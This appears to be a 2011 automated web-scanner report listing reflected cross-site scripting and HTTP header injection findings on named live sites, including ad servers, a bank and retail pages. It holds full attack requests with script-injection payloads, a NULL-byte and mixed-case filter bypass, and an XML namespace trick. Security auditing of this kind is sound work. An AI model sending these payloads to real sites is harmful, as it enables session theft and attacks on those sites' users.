The value of REST URL parameter 2 is copied into the Location response header. The payload 1df61%0d%0a2888f19c6cc was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72533</script>cfbf78578e1 was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open <SCRIPT> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d941"-alert(1)-"956ccf73fd6 was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.121;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BSpF_TtdvTvSiJMrtlQeCq6WZDJOu__wBy-zLvBnro53VYOCvORABGAEgl4n2FjgAUIGjhfIDYMme_obIo_waoAH9pPvoA7IBEG15LmVhcnRobGluay5uZXS6AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL215LmVhcnRobGluay5uZXQv-AEBuAIYwAIByAKLm-ERqAMB6ANo6AOKA-gDuQr1AwAAAET1AxIAgAHIBAGgBhE&num=17d941"-alert(1)-"956ccf73fd6&sig=AOD64_11406dv-19JZ3--gzWVv4tQd6egQ&client=ca-pub-0719799128146781&adurl=;ord=137196724? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %007172f</script><ScRiPt>alert(1)</ScRiPt>429057b628a was submitted in the sig parameter. This input was echoed as 7172f</script><ScRiPt>alert(1)</ScRiPt>429057b628a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /adi/N3285.google/B2343920.121;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BSpF_TtdvTvSiJMrtlQeCq6WZDJOu__wBy-zLvBnro53VYOCvORABGAEgl4n2FjgAUIGjhfIDYMme_obIo_waoAH9pPvoA7IBEG15LmVhcnRobGluay5uZXS6AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL215LmVhcnRobGluay5uZXQv-AEBuAIYwAIByAKLm-ERqAMB6ANo6AOKA-gDuQr1AwAAAET1AxIAgAHIBAGgBhE&num=1&sig=AOD64_11406dv-19JZ3--gzWVv4tQd6egQ%007172f</script><ScRiPt>alert(1)</ScRiPt>429057b628a&client=ca-pub-0719799128146781&adurl=;ord=137196724? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
2.4. http://ads.bluelithium.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ads.bluelithium.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a561"-alert(1)-"308e71e20b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=ad&ad_size=728x90§ion=1610356&3a561"-alert(1)-"308e71e20b6=1 HTTP/1.1 Host: ads.bluelithium.com Proxy-Connection: keep-alive Referer: http://www.autotrader.co.uk/articles/2011/09/cars/volkswagen/frankfurt-volkswagen-up User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 14 Sep 2011 00:27:36 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Cache-Control: no-store Last-Modified: Wed, 14 Sep 2011 00:27:36 GMT Pragma: no-cache Content-Length: 4324 Age: 0 Proxy-Connection: close
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ads.bluelithium.com/imp?3a561"-alert(1)-"308e71e20b6=1&Z=728x90&s=1610356&_salt=1846506834";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Ar ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16746"><script>alert(1)</script>5542b858d71 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy16746"><script>alert(1)</script>5542b858d71/advertisingcom/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b9ad"-alert(1)-"2541dc65e08 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy1b9ad"-alert(1)-"2541dc65e08/advertisingcom/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf2c9"-alert(1)-"e13f54ef204 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy/advertisingcomcf2c9"-alert(1)-"e13f54ef204/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e87"><script>alert(1)</script>b440729488a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy/advertisingcom33e87"><script>alert(1)</script>b440729488a/opt-out HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4355"><script>alert(1)</script>31b07af5b19 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy/advertisingcom/opt-outb4355"><script>alert(1)</script>31b07af5b19 HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2071d"-alert(1)-"a7c951cb19d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy/advertisingcom/opt-out2071d"-alert(1)-"a7c951cb19d HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
function runOmni() { s_265.pfxID="adv"; s_265.pageName="Main"; s_265.channel="us.aolad"; s_265.linkInternalFilters="javascript:,advertising.aol.com";
...[SNIP]...
2.11. http://advertising.aol.com/privacy/advertisingcom/opt-out [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://advertising.aol.com
Path:
/privacy/advertisingcom/opt-out
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53a06"><script>alert(1)</script>ba066fe1c4c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy/advertisingcom/opt-out?53a06"><script>alert(1)</script>ba066fe1c4c=1 HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
2.12. http://advertising.aol.com/privacy/advertisingcom/opt-out [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://advertising.aol.com
Path:
/privacy/advertisingcom/opt-out
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d715"-alert(1)-"adabc945eaa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy/advertisingcom/opt-out?5d715"-alert(1)-"adabc945eaa=1 HTTP/1.1 Host: advertising.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the ButtonRequest request parameter is copied into the XML document as plain text between tags. The payload 72ab2<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>e559788b9a8e4a56f was submitted in the ButtonRequest parameter. This input was echoed as 72ab2<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>e559788b9a8e4a56f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the FAQRequest request parameter is copied into the HTML document as plain text between tags. The payload bc255<a>91303856d5f was submitted in the FAQRequest parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of the entry request parameter is copied into the HTML document as plain text between tags. The payload 10a7b<a>d0a6253a5f7 was submitted in the entry parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of the entry request parameter is copied into the XML document as plain text between tags. The payload 97e80<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>225ff493306fdbda2 was submitted in the entry parameter. This input was echoed as 97e80<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>225ff493306fdbda2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
2.17. http://api.nextag.com/goto.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://api.nextag.com
Path:
/goto.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac38f"><script>alert(1)</script>ba4f6f0a025 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /goto.jsp?ac38f"><script>alert(1)</script>ba4f6f0a025=1 HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:56:35 GMT Server: Apache-Coyote/1.1 P3P: CP="IDC DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo TELi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM CNT STA PRE" Content-Type: text/html;charset=UTF-8 Content-Length: 59356 Set-Cookie: rvd=null; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rvd=WFlQW1pbXFhYWUQHGwoHHVRZTwoHHVRYTx8NCB0MB1RYWlhcUFxdXFBcW15YTx8NCB0MWFRYWlhcUFxdXFBcW15YTwoFAlRZTxkADVhUWlFf; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:42 GMT; Path=/ Set-Cookie: visitorId=null; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: visitorId=-6088147603241195751; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:42 GMT; Path=/ Set-Cookie: nxtg=1b460a1c0557-47C6EC840D5F2A83; Domain=.nextag.com; Path=/ Vary: Accept-Encoding,User-Agent Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:f ...[SNIP]... <link rel="canonical" href="/serv/main/buyer/OutPDir.jsp?ac38f"><script>alert(1)</script>ba4f6f0a025=1" /> ...[SNIP]...
2.18. http://api.nextag.com/serv/earthlink/buyer/outpdir.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://api.nextag.com
Path:
/serv/earthlink/buyer/outpdir.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b624"><script>alert(1)</script>80c24d3702a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /serv/earthlink/buyer/outpdir.jsp?2b624"><script>alert(1)</script>80c24d3702a=1 HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:56:32 GMT Server: Apache-Coyote/1.1 P3P: CP="IDC DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo TELi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM CNT STA PRE" Content-Type: text/html;charset=UTF-8 Content-Length: 54181 Vary: Accept-Encoding,User-Agent Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <style> ta ...[SNIP]... <link rel="canonical" href="/serv/earthlink/buyer/OutPDir.jsp?2b624"><script>alert(1)</script>80c24d3702a=1" /> ...[SNIP]...
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 379dc"-alert(1)-"1613e22ba70 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?q=379dc"-alert(1)-"1613e22ba70 HTTP/1.1 Host: dictionary.reference.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... e.top=y+'px'; } function favFunc(){} function favColorPref(){} function redirectToAppcoreForSuperSession(){ locationString = window.location.toString(); if(Cookie.isEnabled()){ Cookie.setCookie("fQ", "379dc"-alert(1)-"1613e22ba70", "", "/", "reference.com"); setDictionaryConsolidatedCookie('fC','*'); } window.location = "http://app.dictionary.com/login/?logindest="+enc(locationString); } function loginuser(callbackAction,statu ...[SNIP]...
2.20. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://jqueryui.com
Path:
/themeroller/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42783"><script>alert(1)</script>9aec3f41678 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?42783"><script>alert(1)</script>9aec3f41678=1 HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
2.21. https://reorder.harland.net/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://reorder.harland.net
Path:
/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51b23"><script>alert(1)</script>34023f24d7f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.22. http://www.alliance-leicester.co.uk/App_Themes/Default/standard-button/images/dot_grey.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4ae8"-alert(1)-"ee15ae079ad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Date: Wed, 14 Sep 2011 00:25:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP= 'CUR ADM DEV PSA OUR UNI COM NAV INT STA' Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34605
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
The value of the d request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f4c8"-alert(1)-"64a07a5ca01 was submitted in the d parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Connection: close Date: Wed, 14 Sep 2011 00:24:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP= 'CUR ADM DEV PSA OUR UNI COM NAV INT STA' Cache-Control: private Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
The value of the _TSM_HiddenField_ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8ab6d'%3balert(1)//47083ee771 was submitted in the _TSM_HiddenField_ parameter. This input was echoed as 8ab6d';alert(1)//47083ee771 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.25. http://www.alliance-leicester.co.uk/favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.alliance-leicester.co.uk
Path:
/favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fae3c"-alert(1)-"ad78be26dc3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Date: Wed, 14 Sep 2011 00:26:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP= 'CUR ADM DEV PSA OUR UNI COM NAV INT STA' Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34412
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
The value of the _TSM_HiddenField_ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59090'%3balert(1)//cafaeda5828 was submitted in the _TSM_HiddenField_ parameter. This input was echoed as 59090';alert(1)//cafaeda5828 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _TSM_HiddenField_ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 452b2'%3balert(1)//106e0774e5a was submitted in the _TSM_HiddenField_ parameter. This input was echoed as 452b2';alert(1)//106e0774e5a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _TSM_HiddenField_ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4af0e'%3balert(1)//debbb18ccec was submitted in the _TSM_HiddenField_ parameter. This input was echoed as 4af0e';alert(1)//debbb18ccec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.29. http://www.autotrader.co.uk/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autotrader.co.uk
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16434"><script>alert(1)</script>b3b0c842120 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?16434"><script>alert(1)</script>b3b0c842120=1 HTTP/1.1 Host: www.autotrader.co.uk Proxy-Connection: keep-alive Referer: http://www.trusteer.com/product/trusteer-rapport User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e50b3"a%3d"b"08ee86f1417 was submitted in the REST URL parameter 3. This input was echoed as e50b3"a="b"08ee86f1417 in the application's response.
